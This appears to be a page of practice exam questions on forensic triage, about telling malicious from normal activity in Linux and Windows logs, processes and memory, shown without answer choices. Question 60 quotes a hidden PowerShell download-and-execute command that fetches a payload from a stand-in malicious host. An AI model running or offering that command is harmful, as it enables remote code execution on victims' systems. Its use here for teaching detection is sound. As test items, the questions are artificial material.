An analyst is examining a Linux server suspected of compromise. In /var/log/auth.log, they observe repeated entries of the form: 'sshd[1234]: Accepted publickey for deploy from 10.20.30.40 port 51515 ssh2: RSA SHA256:...' followed by 'sshd[1234]: pam_unix(sshd:session): session opened for user deploy'. No corresponding 'Failed password' entries appear for that source IP. Which interpretation is MOST accurate?

Question 49easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is triaging a Linux server and finds a process whose /proc/<pid>/exe symlink points to /tmp/.kwork, and whose parent process is the legitimate cron daemon. The file is owned by root but has no package ownership record. Which interpretation is most appropriate?

Question 50mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

While reviewing a Windows host, you find a 4688 process creation event where the new process is C:\Windows\System32\svchost.exe but the parent process image is C:\Users\bob\AppData\Local\Temp\update.exe. The command line for svchost.exe contains -k netsvcs with no additional arguments. Which assessment is best supported?

Question 51hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is triaging a Windows 10 endpoint that is suspected of being part of a botnet. The analyst has collected the Security, System, and Application event logs, the Sysmon operational log, and a live memory image. Which TWO of the following artifacts would provide the most direct evidence of periodic command-and-control beaconing behavior? (Choose two.)

Question 52easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst reviewing a Windows workstation finds that the file C:\Windows\System32\drivers\etc\hosts has been modified and now contains several entries mapping well-known banking domains to 127.0.0.1. The file's LastWriteTime is two days ago, and no administrator has reported making the change. Which conclusion is MOST appropriate?

Question 53hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

You are reviewing a Windows Server 2019 Security event log and find Event ID 4624 with Logon Type 3 and the 'NTLM' authentication package for a service account, occurring at 02:14 from a workstation that has no corresponding 4648 or 4672 events. Which interpretation is most forensically sound?

Question 54hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

You are analyzing a Linux web server and find that /var/log/auth.log contains many 'Failed password' entries followed by a single 'Accepted password' for the account 'deploy' from the same source IP. Shortly after, you see a sudo command adding a new user named 'support' to the sudoers file. Which sequence best describes what occurred?

Question 55hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is examining a Windows Server 2016 system that is suspected of being compromised. The analyst runs 'wevtutil qe Security /f:text /q:"*[System[(EventID=4688)]]"' and notices that many process creation events have the 'Subject Logon ID' field set to '0x3e7'. Which of the following best describes the significance of this finding?

Question 56easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is reviewing a compromised Windows 10 host and finds a file named 'lsass.exe' in the C:\Windows\Temp directory. The file has a creation timestamp that coincides with the suspected intrusion time. The analyst wants to determine if this file is a malicious copy of the legitimate Windows process. Which characteristic of the legitimate lsass.exe should the analyst verify first to confirm the file is suspicious?

Question 57easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

While triaging a Linux web server, you find that '/usr/bin/sshd' was executed but the running process's parent is 'bash' rather than the systemd service manager, and the process has no associated listening socket. Which conclusion is best supported?

Question 58mediummultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is reviewing a memory dump from a Windows 10 system using Volatility 3. The analyst runs 'vol.py -f memory.dmp windows.netscan' and observes a TCP connection with a state of 'ESTABLISHED' between the local IP 10.0.0.5:49152 and a remote IP 203.0.113.45:443. The process associated with this connection is 'chrome.exe' (PID 1234). Which of the following should the analyst do next to determine if this connection is malicious?

Question 59mediummulti select

Read the full Identification of Malicious and Normal Activity explanation →

An analyst is reconstructing a suspected credential-dumping incident on a Windows 10 host and has already imaged memory. Which TWO artifacts should the analyst examine to determine whether the LSASS process memory was accessed by an unauthorized tool? (Choose two.)

Question 60easymultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

A security analyst is examining a Windows 10 system and finds a scheduled task named 'Updater' that runs 'powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"' every hour. The task is configured to run under the SYSTEM account. Which of the following best describes the malicious technique being used?

Question 61hardmultiple choice

Read the full Identification of Malicious and Normal Activity explanation →

You are examining a Windows 10 host and find a scheduled task whose XML action launches 'rundll32.exe' with the argument 'C:\ProgramData\Microsoft\Crypto\RSA\logon.dll,Register'. The task's author is a domain user who has never logged on to this machine, and the DLL has a creation timestamp matching the suspected intrusion window. Which assessment is best supported?

Question 62hardmulti select

Read the full Identification of Malicious and Normal Activity explanation →

A forensic analyst is investigating a Windows workstation that is suspected of being compromised by a fileless malware attack. The analyst has acquired a memory image and a disk image. Which TWO of the following artifacts, when analyzed together, would provide the strongest evidence that a fileless attack has occurred and is currently active? (Choose two.)